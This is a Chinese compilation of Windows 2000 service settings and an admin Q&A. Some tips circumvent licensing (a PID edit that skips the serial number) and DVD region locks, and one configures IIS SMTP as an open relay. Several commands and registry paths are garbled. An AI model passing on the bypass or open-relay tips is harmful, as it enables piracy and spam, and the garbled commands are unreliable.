DHCP Client（动态主机配置协议客户端）：DHCP是一种提供动态IP地址分配、管理的TCP／IP服务协议，作为网络启动过程的一部分，DHCP客户端系统就可以向DHCP服务器请求和租用IP地址。作为普通用户，如果已通过拨号方式连入Internet，那么还是保持自动状态为好，因为我们在Internet上的IP地址是由ISP动态分配的。如果系统不应用于任何网络，那么您可以将其设为“已禁用”。

Distributed Link Tracking Client（分布式连接跟踪客户端）：DLTC能跟踪文件在网络域的NTFS卷中移动状况，并发出通知。普通用户设置为：“已禁用”，局域网用户（硬盘已格式为NTFS）设为：“自动”。

DNS Client（域名系统客户端）：将域名解析为IP地址。除非您没有连入任何网络，否则应设为“自动”。

Event Log（事件日志）：该服务能记录程序和系统发送的出错消息。虽然日志包含了对诊断问题有所帮助的信息，但对普通用户可能起不了什么作用，那就设为“手动”吧！还记得前面提到的Dr. Watson工具吗？在那里我们无法决定是否取消掉记录日志文件，在默认情况下它总是自动执行，现在您可以取舍了。不过，在测试中我禁用了这个服务重启系统后，却导致了几个关于网络的服务无法启动的现象，使我们无法拨号上网。因此如果您存在Internet或局域网连接，我们建议还是不要禁用为妥。

Fax Service（传真服务）：在Win95中支持的传真功能现在在Win2K中重新被予以支持，而且与系统集成得更好。如果用不上它，就设为“已禁用”吧！

Indexing Service（索引服务）：索引服务能针对本地硬盘或共享网络驱动器上的文档内容和属性建立索引，并通过Win2K特有的文档过滤器快速定位到您所需要的文档上，它大大强化了Win2K的搜索能力。一方面索引搜索又消耗了大量系统资源。微软建议：仅有64MB内存，而要索引的文档又超过十万个，就应该禁用这个服务。事实上，在我们针对64MB内存系统的测试中，即使文档数量远远低于十万个，系统资源的消耗亦非常惊人，而在128MB的系统上情况也好不了多少，因此我们强烈建议禁用它。

Internet Connection Sharing（Internet连接共享）：为局域网计算机提供Internet共享连接。这个服务为多台联网的电脑共享一个拨号网络访问Internet提供了捷径，以前在Win9X中要实现这一功能需借助SYGATE、WinGATE等代理软件，现在这一功能已直接被Win2K支持了。对普通用户可将其设为“已禁用”。

IPSEC Policy Agent（IP安全策略代理）：该代理服务允许IP安全策略对两台计算机之间传输的数据包进行加密，从而防止在网上看到它的人对它进行更改和破译。IPSEC是一种用来保护内部网、专用网络以及外部网（Internet、Extranet）免遭攻击的重要防御方法。使用IPSEC前必须需要首先定义两台计算机之间相互信任和通信安全的方式。请注意：在Win2K默认情况下“IP安全策略代理”是自动启动的，而“IP安全策略”并没有启动（我们可以在“网络和拨号连接”→“您的拨号连接属性”→“网络”页→“Internet协议（TCP／IP）”属性→“高级”→“选项”页下的“IP安全机制”属性中看到）。既然如此，一般用户就完全可以禁用这个代理服务了。

Messenger（信使服务）：发送和接收由系统管理员或由Alerter服务所发送消息的服务。由于Alerter服务需要依找本服务，因此如果已将Alerter禁止，那么这项可以设置为“手动”或“已禁用”。

Net Logon（网络登陆）：简单说就是在局域网上验证登录信息的选项。一般用户可以将其设为“已禁用”或“手动”。

NetMeeting Remote Desktop Sharing（NetMeeting远程桌面共享）：该服务能通过NetMeeting允许有权用户远程访问Windows桌面。这个功能对一般用处不大，可以设为“已禁用”。Network Connections（网络连接）：它管理着“网络和拨号连接”文件夹中的所有对象。如果您有任何网络连接（包括Internet拨号连接）就保持“手动”状态。否则若您禁用它，在“网络和拨号连接”就保持“手动”状态。否则若您禁用它，在“网络和拨号连接”文件夹中将什么都看不到，更不用说新建连接和拨号上网了，不信您试试看。

Network DDE（网络动态数据交换）和Network DDE DSDM：网络动态数据交换服务是一种为DDE对话提供网络传输和安全的服务。DDE（动态数据交换）是实现进程通讯的一种形式，它允许支持DDE的两个或多个程序交换信息和命令。对一般用户可设为“已禁用”。

Plug and Play（即插即用）：即插即用是INTEL开发的一组规范，它赋予了计算机自动检测和配置设备并安装相应驱动程序的能力，当有设备被更改时能自动通知使用该设备的程序当前设备的状况。将该服务状态保持“自动”有利于设备的管理和维护。

Print Spooler（打印后台处理）：该服务的作用是将多个请求打印的文档统一进行保存和管理，待打印机空闲后，再将数据送往打印机处理。无任何打印设备的用户设置为“已禁用”，否则设为“自动”。请注意：如果您启用了传真服务（Fax Service）的话，就应该保持自动状态，因为传真服务依赖Print Spooler的运行。

Remote Procedure Call （RPC）（远程过程调用）：一种消息传递功能。在计算机的远程管理期间它允许分布式应用程序（即COM＋应用程序）呼叫网络上不同计算机上的可用服务。看起来我们好像可以禁用它，但你可能不知道有很多服务需要依赖它的运行，如：FaxService、Network Connections、Telephony等，所以还是保持它为“自动”吧！

Remote Registry Service（远程注册表服务）：该服务能使您编辑另一台计算机上的注册表。普通单机用户根本没必要使用这个服务。

Run As Service（以其他用户身份运行服务的服务）：当您以一般权限用户身份登录系统，而在使用中又需要修改只有系统管理员才能修改的系统设置项时，该服务提供了不重启系统以管理员身份登录的捷径。您只需要在命令提示符下运行RunAs命令就可达到更改目的。对于一般用户在未熟悉RunAs命令用法之前可以将其设为“已禁用”。

Smart Card和Smart Card Helper：这两个服务提供对智能卡设备的支持，将其设为“已禁用”。

Task Scheduler（计划任务）：还记得Win9X中的“计划任务”吗？在Win2K中它的作用是相同的。它能使程序在预定的时间自动运行，如定期进行磁盘碎片整理。如果您认为它碍事，禁用它是个好主意，为什么要让不用的东西白白占用系统资源呢？

TCP/IP NetBIOS Helper Service（TCP／IP NetBIOS支持服务）：该服务能在TCP／IP上提供NetBIOS支持。前面我们曾提到过NetBIOS是基于局域网的，因此作为访问Internet资源的一般用户可以禁用它，除非您的系统处在局域网中。

Telephony（电话）：简单地说这个服务能为计算机提供电话拨号的能力。如果您使用拨号方式连接到Internet或通过电话线连接其他计算机，就应将其设为“手动”。Telnet：该服务允许您从远程计算机上登录以本系统并且使用命令行方式操作这台计算机。对于一般单机用户该服务并不重要，可以设为“手动”或“已禁用”。

Uninterruptible Power Supply（不间断电源）：管理连接到计算机的不间断电源（UPS）的服务。如果您没有UPS设备就设为“已禁用”。

Windows Management Instrumentation（Windows管理规范）和Windows Management Instrumentation Driver Extensions（Windows管理规范驱动程序扩展）：WMI是Win2K中的基础管理结构，它通过一组常用接口控制和监视系统（如对系统属性的查看与更改、设置用户权限等）。为加快系统启动速度，我们可以将这两个服务设置为“手动”，待系统启动后在需要的时候再自动用它们。

原作者：未知
来 源：灰色轨迹


Win2000高级问答

    问：在安装WINDOWS2000的过程中要提示输入注册号，我想使安装更方便，怎样去处掉安装过程中需要输入注册号这个过程?

    答：把安装文件拷贝到硬盘，打开i386目录下的setupp.ini，将PID后面的数字改成51873270，那么在整个安装过程中就不会再问你输入序列号了。

    问：在安装WINDOWS2000的过程中我需要填写很多系统的相关信息，有没有办法可以让WIN2000进行全自动的安装？

    答：这是可以办到的。在WINDOWS2000的安装盘上有一个SUPPORTTOOLS的目录，将其中的DEPLOY.CAB拷贝到硬盘，用WINZIP进行解压缩。然后运行其中的setupmgr.exe，WINDOWS2000会根据你的需要建立一个自动批处理文件。以后再安装WINDOWS2000，只需要在DOS下键入winnt ［/s:安装文件目录］ ［/u:自动安装文件名称］例如：

    d:i386winnt /B /u:d:setup.txt /s:d:i386

    表示我们使用D:下创建的setup.txt文件对WIN2000进行自动安装。

    问：WINDOWS2000里的Outlook Express老出错,不知道是怎么搞的，有什么办法可以防止它频繁出错?

    答：需要在Outlook Express做一下相关设置

    1、从菜单上顺序选：工具->帐号

    2、选择所要改的帐号，点：属性->高级

    3、把服务器超时，时间拉到最长（五分钟）

    问：请问我如何卸载WIN2000，我在添加/删除选项中没有看到相关的卸载选项?

    答：你可以使用一张WINDOWS 98的系统盘引导计算机然后运行以下命令：

    A: >fdisk/mbrA: >sys c: A: >deltree WINNTA: >deltree boot.* A: >deltree nt*.*

    问：WIN2000安装很霸道，根本不问就把什么都安上，而且安好后从“添加/删除”中根本看不到比如游戏、写字板一类的选项,我该怎样删除这些组件？

    答：1、用记事本NOTEPAD修改winntinfsysoc.inf，用查找/替换功能，在查找框中输入,hide（一个英文逗号紧跟hide），将“替换为”框设为空。并选全部替换，这样，就把所有的,hide都去掉了。

    2、存盘退出

    3、再进入控制面板－>添加/删除程序－>添加/删除WINDOWS组件，就会看见多出了“附件和工具”项。

    问：WIN2000报告说我的系统文件被替换或者删除，我该怎么办？

    答：你可以使用WIN2000中自带的系统文件保护程序进行恢复，在开始－>运行中输入SFC /SCANNOW,对系统文件进行扫描并修复。

    SFC命令对维护整个系统来件是很有用的，相关语句如下：

    SFC ［/SCANNOW］ ［/SCANONCE］ ［/SCANBOOT］ ［/CANCEL］ ［/ENABLE］ ［/PURGECACHE］［/CACHESIZE=x］ ［/QUIET］ /SCANNOW立即扫描所有受保护的系统文件。

    /SCANONCE扫描所有受保护的系统文件一次。

    /SCANBOOT每次启动时扫描所有受保护的系统文件。

    /CANCEL取消所有暂停的受保护系统文件的扫描。/QUIET不提示用户就替换所有不正确的文件版本。

    /ENABLE为正常操作启用Windows文件保护/PURGECACHE清除文件缓存并立即扫描所有受保护的系统文件。

    /CACHESIZE=x设置文件缓存大小

    问：在Win2000下面使用WINDVD 2000的时候报告缺少WNASPI32.DLL文件，我该怎么办？

    答：其实这个问题很好解决，在安装好的windows 98上面就有这个文件，你只需要将它拷贝到WINDVD目录就可以使用了。

    问：为什么Win2000不支持ATX结构主板的自动关机，每次我选择关机的时候，电脑就知道重新启动，而不是像win98一样关闭计算机电源？

    答：自动关机主要与Bios相关，你可能要更新你的bios。如果更新以后你还不能软关机，而且你的主板是在1年内购买的新型主板的话，就需要你对WINDOWS2000进行重新安装。在安装的时候请注意：在安装过程中第一次启动时，你需要进入MS-DOS方式，然后手工修改TXTSETUP.SIF文件，找到ACPIEnable这一句（位于文件尾部），ACPIEnable的数值设置成1，存盘推出。

    重新启动计算机并继续进行安装，完成以后请在控制面板中--电源选项--休眠--选中-启用休眠支持,在高级电源管理上---选中启用高级电源管理支持就可以软关机了。

    问：我现在用windows2000和windows98双启动，现在windows98有问题想重装，请问要应该怎样装？会把windows2000的启动文件覆盖吗？

    答：找张98系统软盘引导计算机，然后运行WIN98的安装程序就行了。WIN98可以把自己加在启动菜单中，不会覆盖windows2000的启动文件。

    问：我安装的是WINDOWS2000，通过局域网和其他装WIN98的电脑相连，奇怪的是我可以访问win98电脑的共享资源，而他们不可以访问我的共享目录？

    答：在我的电脑上点击右键－>管理，在左边找到“本地用户和组”，然后在用户里面有GUEST。双击GUEST，把“帐户已停用”前面的勾去掉就行了。

    问：我使用的是WINDOWS2000，一旦有程序出错的时候，硬盘会响很久，怎样可以避免？

    答：在“运行”中输入drwtsn32，除去“视觉通知”一项外所有的勾，点击确定，以后程序出错的时候就没有剧烈的读盘现象了。

    问：我使用DVD驱动器,但是我的WIN2000让我设置区码，设置了后我就不能改变了，我该怎么办？

    答：如果你的DVD驱动器是有区码限制的，而又使用的是WINDOWS2000，那么系统只给你一次更改DVD区码的机会，然后区码会自动锁定，这对于那些想在电脑上观看所有地区DVD影碟的人来件无疑是一件痛苦的事。

    难道我们就没有其他的办法了？通过试验我们发现修改WINDOWS2000的注册表文件可以解决这一问题。

    在“运行”中输入“REGEDIT”,打开注册表编辑器。在［HKEY_LOCAL_MACHINEsys temCurrentControlSetControlClass］下查找"DvdRCnt"，将链值改为3（但是绝对不要设置成高于3的数值），保存后，重新启动计算机，你会发现又可以有一次机会修改DVD区码设定了。我们发现每次修改注册表将是一件麻烦的事，为了一劳永逸，你可以将上面修改的这段信息在注册表中导出，保持为一个名为"region free"的REG文件，然后创建以下的快捷方式：egedit.exe /s regionfree.reg（/s参数告诉系统不用我们选择确定，自动执行），在启动组中加入这个快捷方式。现在，每次重新启动系统后我们都可以自由选择DVD区位了。

    问：我不喜欢WIN2000的自动CD播放功能，但是又不能象98中那样关闭这个功能，怎么办？

    答：运行命令gpedit.msc，你可以在管理模板－>系统中设置是否自动播放CD，其中还有很多选项可以使你更高级的控制WIN2000。

    问：为什么我浏览网上邻居的时候很慢？怎样解决？

     答：因为通过网上邻居浏览其它计算机的时候，2000会县搜索自己的共享目录和可作为网络共享的打印机以及计划任务中和网络相关的计划任务，所以导致速度慢。

启动注册表编辑器regedit

找到　HKEY_LOCAL_MACHINE/sofeware/Microsoft/Windows/Current Version/Explore/RemoteComputer/NameSpace
删除{2227A280-3AEA-1069-A2DE08002B30309D}（打印机）
删除{D6277990-4C6A-11CF8D87-00AA0060F5BF}（计划任务）
再次打开的时候就会发现速度比以前提高很多了。

    问:为什么我的iisreset.exe不能够重新启动IIS

      答：当出现下面的情况时，使用iisreset.exe命令将只是简单的
停止web服务，但是不重新启动它。情况如下：

D:\My Intranet>net start w3svc
World Wide Web Publishing Service 服务正在启动 .....
World Wide Web Publishing Service 服务已经启动成功。

D:\My Intranet>sc query w3svc

SERVICE_NAME: w3svc
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE,PAUSABLE,ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

D:\My Intranet>iisreset

正在尝试停止...
Internet 服务已成功停止
正在尝试启动...
Internet 已成功重启动

D:\My Intranet>sc query w3svc

SERVICE_NAME: w3svc
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

可以看到，当使用iisreset命令后，web服务被stop了，但是并没有象它自己说的那样“Internet 已成功重启动”。

原因：
该W3svc服务被设置为手动启动模式

    问:如何制作自己的Service Pack

     答：作为一个Windows 系统的管理员，安装安全HotFix应该是不会陌生的，每次我们在装完一台机器后总是下载无数补丁，但烦人的是每每安装一个HotFix系统都会Reboot一次，当然，在Reboot前我们不点击"确定"按钮，直接安装完其他的补丁后一次Reboot也未尝不可，但是这样似乎显得有点不大专业，今天我教大家作一个自己的Service Pack，可以把你需要安装的补丁在一次安装完毕，好像很Cool哦～

为了测试，我选择了一台中文版Windows 2000 Server，而我们需要安装的安全补丁为2个（当然不止这些，打个比方而已），一个是Windows 2000的输入法漏洞的补丁（Q270676），一个是命名管道的补丁（Q269523）。

Now, Let's go~

1、先去下载我们需要安装的HotFixs，http://download.microsoft.com/download/win2000platform/Patch/Q269523/NT5/CN/Q269523_W2K_SP2_x86_CN.EXE和http://download.microsoft.com/download/win2000platform/Patch/q270676/NT5/CN/Q270676_W2K_SP2_x86_CN.EXE。

2、我们切换到CMD模式，在C盘创建一个hotfix的目录，然后执行

Q269523_W2K_SP2_x86_CN.EXE /x（建议解包的顺序按Q号的大小排列，由小到大，理由我会在后面提到）
看到要求输入解包路径的提示后输入"C:\Hotfix"。

C:\>cd hotfix

C:\hotfix>dir
驱动器 C 中的卷是 C
卷的序列号是 AC58-F7F5

C:\hotfix 的目录

2001-05-04 04:00 <DIR> .
2001-05-04 04:00 <DIR> ..
2000-08-14 18:57 98,064 hotfix.exe
2000-08-14 18:57 15,139 hotfix.inf
2000-08-14 17:19 835,856 kernel32.dll
2000-08-14 17:19 85,776 services.exe
2000-08-14 18:31 88,245 sp2.cat
2000-08-14 18:57 3,584 spmsg.dll
2001-05-04 04:00 <DIR> symbols
2001-05-04 04:00 <DIR> uniproc

然后我们将hotfix.inf文件复制一份。
C:\hotfix>copy hotfix.inf q269523_cn.inf
已复制 1 个文件。

紧接着我们将第二个HotFix解包，
Q270676_W2K_SP2_x86_CN.EXE /x
看到要求输入解包路径的提示后输入"C:\Hotfix"。
也将此时的hotfix.inf文件复制一份。
C:\hotfix>copy hotfix.inf q270676_cn.inf
已复制 1 个文件。

第三个、第四个........重复同样的操作。

3、此时我们已经将HotFix的文件都解包至C:\Hotfix目录，并且有了各个HotFix的inf文件的拷贝，我们现在来分析这些inf文件，一般我们把最后解包的inf文件作为模板，因为inf文件分很多字段，从我观察的结果来看，随着时间的推移，inf文件的字段可能会增加，这也就是我们开始解包按Q大小顺序的原因，本例中我们以Q270676的inf文件为模板，我们编辑hotfix.inf文件，这个文件已经包含了Q270676的信息，我们只要把Q269523中的信息添加到该文件中即可，下面我们来分析Q269523的inf文件的内容：

前面的大部分基本都是相似的，我们只搜寻一些与众不同的字段。

[MustReplace.System32.files]
SERVICES.EXE
[CopyAlways.DriverCab.files]
kernel32.dll
[Cache.files]
SERVICES.EXE
KERNEL32.DLL
[Uniprocessor.Kernel.files]
KERNEL32.DLL,UNIPROC\KERNEL32.DLL
[Multiprocessor.Kernel.files]
KERNEL32.DLL
[SourceDisksFiles]
SERVICES.EXE=1
UNIPROC\KERNEL32.DLL
KERNEL32.DLL=1

然后我们在hotfix.inf文件中搜寻MustReplace.System32.files，然后加入一行
SERVICES.EXE
为了以后方便，我们一般加上一些注释，编辑后的hotfix.inf文件的MustReplace.System32.files字段就成了下面这个样子：

[MustReplace.System32.files]

;Q269523 Added by Adam
SERVICES.EXE

接着搜寻CopyAlways.DriverCab.files、Cache.files、Uniprocessor.Kernel.files、Multiprocessor.Kernel.files、SourceDisksFiles，并将相应的信息添加到hotfix.inf文件中，也要注意添加必要的注释文件，inf文件中表示注释的符号为分号。当然，我们也建议您把本身的模板文件中必要的项也作一下注释，如2个hotfix都包含的Cache.files，我们修改后就成了：

[Cache.files]

;Q269523 Added by Adam
SERVICES.EXE
KERNEL32.DLL

;Q270676 Added by Adam
winzm.ime
winsp.ime
winpy.ime
wingb.ime
winabc.ime

实际上，到这一步，我们就已经可以用我们作好的东东了，但是为了以后的方便，我们必须修改一些显示信息，这就是inf文件中的Strings字段。我们到inf文件的最末尾可以看到Strings字段，我们必须在这里修改一些必要的信息。

首先修改Q号（不是OICQ号码哦），将Q号改成你喜欢的6位数，当然，输入其他字符也可以，但是也许会和某些查HotFix的软件有冲突，还是用6位数字好了，然后修改Comments，我们把Q269523的Comment粘贴过来，也可以加上一些自己的描述，修改后的Strings字段就成了下面的样子：

[Strings]

 LangTypeValue=4
ServicePackSourceFiles="Windows 2000 Hotfix 源文件"
HOTFIX_NUMBER="Q123456"
SERVICE_PACK_NUMBER=1
COMMENT="Windows 2000 Hotfix (Pre-SP2) [See Q270676 for more information]
    This Fix Corrects the IME Problem...Windows 2000 Hotfix (Pre-SP2) [See Q269523
    for more information] This Fix Corrects the NamePipe Problem..."

这样也方便我们日后对已安装的补丁进行查看。

4、好了，该修改的地方我们已经弄完了，我们开始安装我们自己作的Service Pack吧，其实我们只要执行HotFix.exe即可，它会自己去找inf文件，然后你会看到一个拷贝文件的进度条，接着是系统要求你Reboot，点"确定"，重启，我们的HotFix就安装完毕了。

5、最后我们可以看看效果，你可以去看看注册表：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\HotFix

你会发现你安装的Q123456乖乖地呆在那里了～很有成就感哦～

最后总结一下：每每出一个新的HotFix后，你就将文件添加到你的SP包中，然后修改你的inf文件，你就可以不去理会微软是不是还为你发布新的SP了（NT 4的SP 7没有了），当然，SP中不光包含安全补丁，对系统的其他方面也有所改善，土八路毕竟还是比不上正规军的。

    问：如何为Windows 2000创建一个tftp service

    答：近日在论坛总是看到有人问怎么启动Win2K下的TFTP服务，其实在默认情况下TFTP服务是没有安装的，只有在使用RIS服务的时候才会安装该服务（国内很少有人用这个玩艺，可能我是井底之蛙吧），现在我给大家示范如何来安装一个tftp服务（如果你有需要的话，阁下是网管还是XX呢？）

我们首先找到系统中的tftpd.exe文件，一般我们可以在%systemroot%\system32\dllcache目录下找到该文件，建议把该文件copy到其他目录。

C:\>copy %systemroot%\system32\dllcache\tftpd.exe %systemroot%\system32
已复制 1 个文件。

我们会用Windows 2000下的Resource Kits中的一个工具instsrv创建一个服务，instsrv的用法如下，当然，你也可以用其他的工具来实现（如srvinstw，GUI方式的）。
C:\>instsrv
Installs and removes system services from NT

INSTSRV <service name> (<exe location> | REMOVE)
[-a <Account Name>] [-p <Account Password>]

Install service example:

INSTSRV MyService C:\MyDir\DiskService.Exe
-OR-
INSTSRV MyService C:\mailsrv\mailsrv.exe -a MYDOMAIN\joebob -p foo

Remove service example:

INSTSRV MyService REMOVE
[俺的特色：字不够，帮助凑！]

添加一个服务，注意，该服务创建侯为自动启动。
C:\>instsrv tftp c:\winnt\system32\tftpd.exe
The service was successfuly added!

Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.

启动服务
C:\>net start tftp
tftp 服务正在启动 .
tftp 服务已经启动成功。

测试服务是否正常工作
C:\>tftp -i 61.135.21.195 PUT sometips.gif sometips.gif
Transfer successful: 4209 bytes in 1 second, 4209 bytes/s

C:\>dir tftpdroot
驱动器 C 中的卷是 C
卷的序列号是 1E23-1907

C:\tftpdroot 的目录

2001-09-22 01:14 <DIR> .
2001-09-22 01:14 <DIR> ..
2001-09-22 01:14 4,209 sometips.gif
1 个文件 4,209 字节
2 个目录 94,113,792 可用字节

注意，如果你上传文件，系统会在%systemdrive%自动创建一个名为tftproot的目录，OK，所有的工作已经完成了！

    问：如何删除管理共享（C$,D$...)

    答：我们可以用Net Share命令来删除，但是机器重启后这个共享会自动出现，这时，我们可以修改注册表。

对于服务器而言：

Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

Name: AutoShareServer

Type: DWORD

Value: 0

对于工作站而言：

Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

Name: AutoShareWks

Type: DWORD

Value: 0

修改注册表后需要重启Server服务或重新启动机器。

    问：如何禁止显示上次登陆的用户名

    答：我们可以通过修改注册表来实现：

Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

Name: DontDisplayLastUserName

Type: REG_DWORD

Value: 1

    问：如何禁止恶意用户使用FileSystemObject

    答：常见的有3种方法：

1、修改注册表，将FileSystemObject改成一个任意的名字，只有知道该名字的用户才可以创建该对象，

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID]
@="Scripting.FileSystemObject"

2、运行Regsvr32 scrrun.dll /u，所有用户无法创建FileSystemObject。

3、运行cacls %systemroot%\system32\scrrun.dll /d guests，匿名用户（包括IUSR_Machinename用户）无法使用FileSystemObject，我们可以对ASP文件或者脚本文件设置NTFS权限，通过验证的非Guests组用户可以使用FileSystemObject。

    问：如何禁止Guest访问事件日志？

    答：在默认安装的Windows NT和Windows 2000中，Guest帐号和匿名用户可以查看系统的事件日志，可能导致许多重要信息的泄漏，建议修改注册表来禁止Guest访问事件日志。

应用日志：

Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application

Name: RestrictGuestAccess

Type: DWORD

Value: 1

系统日志：

Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\System

Name: RestrictGuestAccess

Type: DWORD

Value: 1

安全日志：

Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Security

Name: RestrictGuestAccess

Type: DWORD

Value: 1

    问：如何更改Terminal Server的端口？

    答：该修改需要在服务器端和客户端同时修改，如果不知道该服务器的端口号，客户端将无法连接服务器。

服务器端的修改：

Key: HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp

Name:PortNumber

Type:DWORD

Valus:任意值

Key: HKLME\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

Name:PortNumber

Type:DWORD

Value:和上面值一致

注：需重启后生效。

然后我们修改客户端，打开Terminal Server Client的客户端管理器，导出连接文件（后缀名为cns），用记事本打开该cns文件，搜索"Server Port"，修改该值，与服务器保持一致即可（注意进制的转换）。最后导入该cns文件至Terminal Server的客户端管理器。

    问：如何防止.printer ISAPI扩展远程溢出？

    答：微软windows 2000所带的IIS 5.0存在一个严重的远程安全漏洞。缺省安装情况下，攻击者可以利用这个漏洞远程入侵IIS 服务器，并以系统管理员(system)身份执行任意命令。

临时解决方法：

1. 打开Internet 服务管理器
2. 右击你的web服务器，在菜单中选择"属性"栏
3. 选择"主属性"
4. 选择 WWW 服务 | 编辑 | 主目录 | 配置
5. 在扩展名列表中删除".printer"项。
6. 保存设置,然后重启IIS服务。

注意：如果在上述设置完成后，发现".printer"映射又重新产生，这可能是由于您在组策略中打开了"基于web的打印"。您可以按照下列步骤进行处理：

1. 在"运行..."或者命令行窗口中执行下列命令：gpedit.msc
2. 这会弹出一个组策略的管理窗口，选择"打印机"
3. 检查"基于web的打印",如果它已经"启动"，将其禁止。

您也可以直接修改注册表，将下面这项DWORD值设为0x1:

HKLM\Software\Policies\Microsoft\Windows NT\Printers\DisableWebPrinting

厂商补丁：

微软已经为此发布了一个安全公告MS01-023：
http://www.microsoft.com/technet/security/bulletin/MS01-023.asp

并提供了补丁下载来解决此问题：
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321

注：由于Windows 2000发布的SP2中不包含修补此漏洞的补丁，建议您下载并安装微软的HotFix。

    问：如何不丢失文件NTFS权限地拷贝文件？

    答：使用Resource Kits里附带的小工具－scopy.exe

SCOPY source destination [/o] [/a] [/s]

source Specifies files to copy.
destination Where to copy files to.
/o Copies owner security information.
/a Copies auditing information. Requires that you have
the Manage Auditing User Right on both the source and
destination computers.
/s Copies all files in subdirectories.

但是在使用scopy的时候需要注意一些小问题，不然可能事与愿违，请看我的试验过程：

C:\scripts>cacls wsh.vbs
C:\scripts\wsh.vbs HEAVEN\adam:N
HEAVEN\FuZheng:F
>显示c:\scripts目录中wsh.vbs中的权限

C:\scripts>copy wsh.vbs \adam
已复制 1 个文件。
>拷贝wsh.vbs到c:\adam目录

C:\scripts>cacls \adam\wsh.vbs
C:\adam\wsh.vbs Everyone:F
>显示拷贝过来的c:\adam\wsh.vbs的权限，注意：权限没有一起拷贝过来。

C:\scripts>del \adam\wsh.vbs
>删除c:\adam\wsh.vbs

C:\scripts>scopy wsh.vbs \adam
wsh.vbs -> C:\adam\wsh.vbs
>使用scopy将c:\scripts\wsh.vbs拷贝到c:\adam目录

C:\scripts>cacls \adam\wsh.vbs
C:\adam\wsh.vbs HEAVEN\adam:N
HEAVEN\FuZheng:F
>显示拷贝过来的c:\adam\wsh.vbs的权限，注意：权限已经和文件一起拷贝过来了。

C:\scripts>del \adam\wsh.vbs
>删除c:\adam\wsh.vbs

C:\scripts>copy wsh.vbs \adam
已复制 1 个文件。
>拷贝wsh.vbs到c:\adam目录

C:\scripts>cacls \adam\wsh.vbs
C:\adam\wsh.vbs Everyone:F
>显示拷贝过来的c:\adam\wsh.vbs的权限，请注意wsh.vbs的权限

C:\scripts>scopy wsh.vbs \adam
wsh.vbs -> C:\adam\wsh.vbs
>使用scopy拷贝wsh.vbs（希望能将权限一并拷贝）

C:\scripts>cacls \adam\wsh.vbs
C:\adam\wsh.vbs Everyone:F
>但是wsh.vbs的权限依旧没有改变

    问：如何把IIS 5.0自带的SMTP Service作为你公司的SMTP服务器？

    答：进入IIS管理器->默认SMTP虚拟服务器->域

1、右击“域”->新建 域->选择远程，下一步->名称中填写 *.com->完成

2、右击 *.com -> 属性 ->常规->选择允许将待收邮件中继到此域->确定

重复Step 1和Step 2，把com改成net，改成org，改成cn，改成tw……

你就可以把你想要发送的邮件发送到你想要的域里去了，当然，这是一个很笨的方法

不过很管用！

    问：如何禁止使用域的组策略？

    答：Hive: HKEY_LOCAL_MACHINE

Key: Software\Policies\Microsoft\Windows\System

Name: DisableGPO

Type: REG_DWORD

Value: 1

    问：如何自定义安装IIS 5.0

    答：在安装Windows2000的时候，如果你选择了安装IIS，那么在安装的时候系统将会你的%SystemDrive%里创建一个InetPub目录，而且还会在Inetpub目录下创建一个Scripts目录，IIS还会创建一个虚拟目录SCIPTS指向该目录，并且给这个目录执行权限。前段时间NSFocus安全小组研究发现的“Unicode解码目录遍历漏洞”大部分问题就是针对Web站点的可执行目录而言的，所以我们建议把该目录移到非系统盘在一定程度上可以保证一定的安全。

然而在我们选择安装系统组件的时候，无法自己定义IIS的安装盘符，所以才有了今天的这篇文章。：）

我们在安装系统的时候不选择安装IIS，等系统安装完成后手动来做，我们可以使用无人值守的方式自定义安装IIS 5.0。首先确认你的 Windows 2000的安装介质是可用的，本例中的安装介质是光盘，因此只要将安装光盘插入光驱即可，然后在你的硬盘或者软盘上创建一个无人值守安装文件，本例中我们将在D盘创建一个 IIS5install.txt 作为无人值守安装文件，下面我们看看该文件的内容：

[Components] 所安装的组件
iis_common = on 公用文件
iis_inetmgr = on IIS管理器
iis_www = on WWW服务
iis_ftp = on FTP服务
iis_htmla = on Web方式的IIS管理器

[InternetServer]
Path="D:\inetsrv" Common文件放置位置（如果你是卸载了IIS再手动装，公用文件还是会位置保持不变）
PathFTPRoot="D:\inetPub\FTPRoot" FTP的根路径
PathWWWRoot="D:\InetPub\wwwroot" WWW的根路径

将该文件存盘后，运行“sysocmgr /i:%windir%\inf\sysoc.inf /u:d:\iis5install.txt”，
不会有提示框出现，系统将自动的为你安装好IIS，而且Scripts目录将会在D盘，使用“Unicode解码目录遍历漏洞”也就失效了。

如果你需要安装更多的IIS组件，以下是一个比较详细的无人值守安装文件：

=========================================BEGIN============================

;This is an example Unattended installation file
;IIS, MTS, and Index Server are ON
;Target Path should be new directory
;Adminpassword is blank.

[Unattended]
Unattendmode = FullUnattended
OemPreinstall = NO
TargetPath = *
Filesystem = LeaveAlone

[UserData]
FullName = "Your User Name"
OrgName = "Your Organization Name"
ComputerName = "ComputerName"

[GuiUnattended]
TimeZone = "004"
AdminPassword = *
AutoLogon = Yes

[LicenseFilePrintData]
AutoMode = "PerServer"
AutoUsers = "0"

[Display]
BitsPerPel = 4
